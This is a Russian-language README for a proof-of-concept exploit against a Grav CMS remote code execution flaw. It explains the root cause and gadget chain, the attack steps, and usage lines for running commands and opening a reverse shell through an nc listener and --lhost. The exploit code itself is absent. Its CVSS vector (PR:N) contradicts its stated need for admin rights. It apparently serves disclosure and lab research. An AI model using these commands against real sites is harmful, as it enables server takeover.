CVE-2026-65008 — Grav CMS < 2.0.7 аутентифицированное RCE

Proof-of-concept для CVE-2026-65008: аутентифицированное удалённое выполнение кода в Grav CMS через неограниченный call_user_func_array() в Blueprint::dynamicData().

Пользователь с правами admin.pages (или api.pages.write) может внедрить вредоносный frontmatter формы. Затем полезная нагрузка выполняется от имени пользователя веб-сервера, когда любой посетитель (включая неаутентифицированных) загружает страницу.

Только санкционированное тестирование. Используйте исключительно на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.

Благодарности

CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008

Первопричина

Blueprint::dynamicData() передаёт управляемый атакующим callable Class::method и аргументы в PHP-функцию call_user_func_array() без белого списка. В сочетании с Grav\Common\Utils::arrayFilterRecursive в качестве трамплина это позволяет добраться до system() / passthru и т. д.

Исправлено в Grav 2.0.7+.

CVSS

9.8 КРИТИЧЕСКИЙ — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Требования

• Python 3.10+
• requests

Установка:

pip install -r requirements.txt

Использование

Выполнение команды

python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

Обратная оболочка

Сначала запустите слушатель:

nc -lvnp 4444

Затем:

python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

Аргументы

Порядок действий

1. Войдите в /admin (извлеките login-nonce)
2. Получите admin_nonce из панели администратора
3. Сохраните страницу, frontmatter которой содержит гаджет data-opts@:
4. Активируйте неаутентифицированным GET-запросом → RCE от имени www-data

Отказ от ответственности

Этот проект предназначен только для образовательных и санкционированных исследований безопасности. Автор не несёт ответственности за неправомерное использование. Всегда получайте письменное разрешение перед тестированием сторонних систем. Исходная уязвимость была раскрыта через рекомендацию вендора; этот репозиторий демонстрирует только лабораторное воспроизведение.

Ссылки

• https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
• https://nvd.nist.gov/vuln/detail/CVE-2026-65008
• https://www.cve.org/CVERecord?id=CVE-2026-65008

Лицензия

Для исследовательского использования. Без гарантий.